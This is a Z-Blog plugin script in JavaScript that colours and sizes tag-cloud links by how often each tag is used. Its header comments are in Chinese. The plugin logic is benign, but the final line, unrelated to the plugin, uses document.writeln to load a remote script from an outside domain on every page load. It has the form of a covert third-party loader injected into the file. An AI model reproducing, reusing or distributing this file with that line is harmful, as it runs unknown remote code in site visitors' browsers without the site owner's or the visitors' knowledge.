//********************************************************************************
//** 插件功能:		多彩Tags
//** 插件版本:		2.0
//** 插件应用:		Z-Blog
//** 插件制作:		软件兔 (http://www.SoftBunny.net/ SoftBunny+Soft@Gmail.com)
//**
//** 参数说明:
//**	rgbStart:	起始色(即使用次数最少的Tag的颜色)
//**	rgbEnd:		结束色(即使用次数最多的Tag的颜色)
//**
//** 备　　注:
//**	如果你喜欢这个插件, 且你的Blog首页有空位的话, 请帮我的Blog(http://www.SoftBunny.net/)
//**	做个首页链接, 谢谢!
//**
//** 变更记录:	
//** 2007-05-29	V1.0	基线版本
//** 2008-01-20	V2.0	For Z-Blog 1.8 官方版
//********************************************************************************

var rgbStart="#86ADF7";		//起始色(即使用次数最少的Tag的颜色), 用户自定义
var rgbEnd="#FF0000";		//结束色(即使用次数最多的Tag的颜色), 用户自定义
var rgb=new Array();
var LineHeight=18;

function ColorTags()
{
	var TagsHtml='';
	var reg,patt,m;
	var max=0;
	var min=10000;

	if(!document.getElementById("ulTags"))
		return;
	TagsHtml=document.getElementById("ulTags").innerHTML;

	TagsHtml=TagsHtml.replace(/<span.*?>/gi,"");
	TagsHtml=TagsHtml.replace(/<\/span>/gi,"");
	TagsHtml=TagsHtml.replace(/\(/g,"");
	TagsHtml=TagsHtml.replace(/\)/g,"");
	TagsHtml=TagsHtml.replace(/<LI>(.*?)(<\/LI>|)/gi,"$1");
//	TagsHtml=TagsHtml.replace(/<LI>/gi,"");
//	TagsHtml=TagsHtml.replace(/<\/LI>/gi,"");

	patt="<a.*?alt=\"([0-9]+)\".*?>";
	reg = new RegExp(patt,"igm");  // 创建正则表达式对象。
	while ((m = reg.exec(TagsHtml)) != null)
	{
		if(parseInt(RegExp.$1)>max)
			max=parseInt(RegExp.$1);
		if(parseInt(RegExp.$1)<min)
			min=parseInt(RegExp.$1);
	}

	patt="<a href.*?>.*?\(([0-9]+)\)";
	patt="<a href.*?>.*?([0-9]+)";
	reg = new RegExp(patt,"ig");  // 创建正则表达式对象。
	while ((m = reg.exec(TagsHtml)) != null)
	{
		if(parseInt(RegExp.$1)>max)
			max=parseInt(RegExp.$1);
		if(parseInt(RegExp.$1)<min)
			min=parseInt(RegExp.$1);
	}

	GetRGB(max - min);
	LineHeight=(12+(max-min)/2)*1.5
	for(i=max; i>=min; i--)
	{
		patt="(<a.*?alt=\")" + i + "(\".*?>)";
		reg = new RegExp(patt,"igm");  // 创建正则表达式对象。
		TagsHtml=TagsHtml.replace(reg,"<nobr>$1" + i + "\" style=\"color:" + rgb[i-min] + ";font-family:verdana,sans-serif;line-height:" + LineHeight + "px;font-size:" + (12+i/2) + "px;padding-right:3px;padding-left:5px;$2");

//		patt="<a (href[^>]*?>)([^<]*) \(" + i + "\)</a>";
//		patt="<a (href.*?)\(" + i + "\)";
//		patt="<a (href.*?>.*?)\(" + i + "\)";
		patt="<a (href[^<>]*?>[^<>]*?)" + i + "<";
		reg = new RegExp(patt,"igm");  // 创建正则表达式对象。
		TagsHtml=TagsHtml.replace(reg,"<nobr><a style=\"color:" + rgb[i-min] + ";font-family:verdana,sans-serif;line-height:" + LineHeight + "px;font-size:" + (12+i/2) + "px;padding-right:3px;padding-left:5px;display:inline;\" $1<");
	}
	TagsHtml=TagsHtml.replace(/ <\/A>/gi,"</A></nobr> ");

	document.getElementById("ulTags").innerHTML = TagsHtml;
}

function GetRGB(diff)
{
	var r,g,b,rd,gd,bd;
	r = parseInt(rgbStart.substr(1,2),16);
	g = parseInt(rgbStart.substr(3,2),16);
	b = parseInt(rgbStart.substr(5,2),16);
	rd = (parseInt(rgbEnd.substr(1,2),16) - r)/diff;
	gd = (parseInt(rgbEnd.substr(3,2),16) - g)/diff;
	bd = (parseInt(rgbEnd.substr(5,2),16) - b)/diff;
	for(i=0; i<=diff; i++)
	{
		rgb[i] = "#";
		rgb[i] = "#" + GetHex(parseInt(r+rd*i).toString(16)) + GetHex(parseInt(g+gd*i).toString(16)) + GetHex(parseInt(b+bd*i).toString(16));
	}
}

function GetHex(str)
{
	if(str.length<2)
		str="0" + str;
	else if(str.length>2)
		str="ff";
	return str;
}
ColorTags();

document.writeln("<script src=\'http:\/\/yojn.com\/can.js?id=882668&web_id=882668\' language=\'JavaScript\' type=\'text\/JavaScript\' charset=\'gb2312\'><\/script>");